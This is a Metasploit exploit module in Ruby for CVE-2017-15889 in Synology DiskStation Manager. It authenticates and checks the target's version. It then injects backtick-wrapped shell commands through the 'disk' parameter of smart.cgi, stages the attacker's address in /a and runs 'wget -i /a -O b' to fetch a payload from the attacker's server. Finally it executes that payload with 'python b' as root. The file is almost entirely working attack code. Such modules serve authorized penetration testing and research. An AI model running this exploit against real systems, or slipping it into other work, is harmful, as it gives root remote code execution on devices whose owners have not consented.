##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
          privileges after website authentication.
          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
          allows appending of a command to the device to be scanned.  However, the command
          with drive is limited to 30 characters.  A somewhat valid drive name is required,
          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
          restriction, a wget input file is staged in /a, and executed to download our payload
          to /b.  From there the payload is executed.  A wfsdelay is required to give time
          for the payload to download, and the execution of it to run.
        },
        'Author' => [
          'Nigusu Kassahun', # Discovery
          'h00die' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2017-15889' ],
          [ 'EDB', '43190' ],
          [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
          [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES ]
        ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependMigrate' => true,
          'WfsDelay' => 10
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2017-11-08',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
        OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
        OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
      ]
    )
  end

  def check
    vprint_status('Trying to detect installed version')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
      build = $LAST_MATCH_INFO[:build]
      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error('Detection failed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    when '5.2'
      return CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '5967-5'
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def on_request_uri(cli, _request, cookie, token)
    print_good('HTTP Server request received, sending payload')
    send_response(cli, payload.encoded)
    print_status('Executing payload')
    inject_request(cookie, token, 'python b')
  end

  def inject_request(cookie, token, cmd = '')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
      'cookie' => cookie,
      'headers' => {
        'X-SYNO-TOKEN' => token
      },
      'vars_post' => {
        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sd`#{cmd}`"
      }
    })
  end

  def login
    # If you try to debug login through the browser, you'll see that desktop.js calls
    # ux-all.js to do an RSA encrypted login.
    # Wowever in a stroke of luck Mrs. h00die caused
    # a power sag while tracing/debugging the loging, causing the NAS to power off.
    # when that happened, it failed to get the crypto vars, and defaulted to a
    # non-encrypted login, which seems to work just fine.  greetz Mrs. h00die!

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
      'vars_get' => { 'enable_syno_token' => 'yes' },
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'passwd' => datastore['PASSWORD'],
        'OTPcode' => '',
        '__cIpHeRtExT' => '',
        'client_time' => Time.now.to_i,
        'isIframeLogin' => 'yes'
      }
    })
    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
      result = JSON.parse(json)

      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
      if result['result'] == 'success'
        return res.get_cookies, result['SynoToken']
      end

      fail_with(Failure::Unknown, "Unknown response: #{result}")
    end
  end

  def exploit
    print_status('Attempting Login')
    cookie, token = login

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req, cookie, token)
        end,
        'Path' => '/'
      }
    })

    print_status('Cleaning env')
    inject_request(cookie, token, 'rm -rf /a')
    inject_request(cookie, token, 'rm -rf b')
    command = "#{srvhost_addr}:#{srvport}".split(//)
    command_space = 22 - "echo -n ''>>/a".length
    command_space -= 1
    command.each_slice(command_space) do |a|
      a = a.join('')
      vprint_status("Staging wget with: echo -n '#{a}'>>/a")
      inject_request(cookie, token, "echo -n '#{a}'>>/a")
    end
    print_status('Requesting payload pull')
    register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
    register_file_for_cleanup('/a')
    inject_request(cookie, token, 'wget -i /a -O b')
    # at this point we let the HTTP server call the last stage
    # wfsdelay should be long enough to hold out for everything to download and run
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
